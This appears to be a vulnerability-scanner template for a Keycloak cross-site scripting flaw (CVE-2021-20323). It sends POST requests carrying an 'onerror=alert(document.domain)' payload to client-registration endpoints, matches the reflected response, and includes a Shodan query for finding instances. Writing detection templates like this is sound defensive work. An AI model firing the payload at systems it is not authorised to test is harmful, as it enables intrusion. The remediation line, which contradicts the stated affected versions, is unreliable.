63 lines
2.5 KiB
YAML
63 lines
2.5 KiB
YAML
id: CVE-2021-20323
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info:
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name: Keycloak 10.0.0 - 18.0.0 - Cross-Site Scripting
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author: ndmalc
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severity: medium
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description: |
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Keycloak 10.0.0 to 18.0.0 contains a cross-site scripting vulnerability via the client-registrations endpoint. On a POST request, the application does not sanitize an unknown attribute name before including it in the error response with a 'Content-Type' of text/hml. Once reflected, the response is interpreted as HTML. This can be performed on any realm present on the Keycloak instance. Since the bug requires Content-Type application/json and is submitted via a POST, there is no common path to exploit that has a user impact.
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remediation: |
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Upgrade Keycloak to a version that is not affected by the vulnerability (10.0.1 or higher).
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reference:
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- https://github.com/keycloak/keycloak/security/advisories/GHSA-m98g-63qj-fp8j
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- https://bugzilla.redhat.com/show_bug.cgi?id=2013577
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- https://access.redhat.com/security/cve/CVE-2021-20323
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- https://github.com/ndmalc/CVE-2021-20323
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- https://github.com/keycloak/keycloak/commit/3aa3db16eac9b9ed8c5335ac86f5f50e0c68662d
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- https://nvd.nist.gov/vuln/detail/CVE-2021-20323
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 6.1
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cve-id: CVE-2021-20323
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cwe-id: CWE-79
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epss-score: 0.00208
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epss-percentile: 0.58572
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cpe: cpe:2.3:a:redhat:keycloak:*:*:*:*:*:*:*:*
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metadata:
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verified: true
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max-request: 4
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vendor: redhat
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product: keycloak
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shodan-query: html:"Keycloak"
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tags: cve,cve2021,keycloak,xss
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http:
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- method: POST
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path:
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- "{{BaseURL}}/auth/realms/master/clients-registrations/default"
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- "{{BaseURL}}/auth/realms/master/clients-registrations/openid-connect"
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- "{{BaseURL}}/realms/master/clients-registrations/default"
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- "{{BaseURL}}/realms/master/clients-registrations/openid-connect"
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body: "{\"Test<img src=x onerror=alert(document.domain)>\":1}"
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stop-at-first-match: true
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headers:
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Content-Type: application/json
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- 'Unrecognized field "Test<img src=x onerror=alert(document.domain)>'
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- type: word
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part: header
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words:
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- text/html
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- type: status
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status:
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- 400
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# digest: 4a0a00473045022100fbb8da201120b81d32639c0e84d5ef6383c3b76a7bbb1b0340e307e9cb0967e9022009efcc06854a68600ba8844ed6ed7b16193fad4a2a6aae6ed87a373235b3ce1d:922c64590222798bb761d5b6d8e72950 |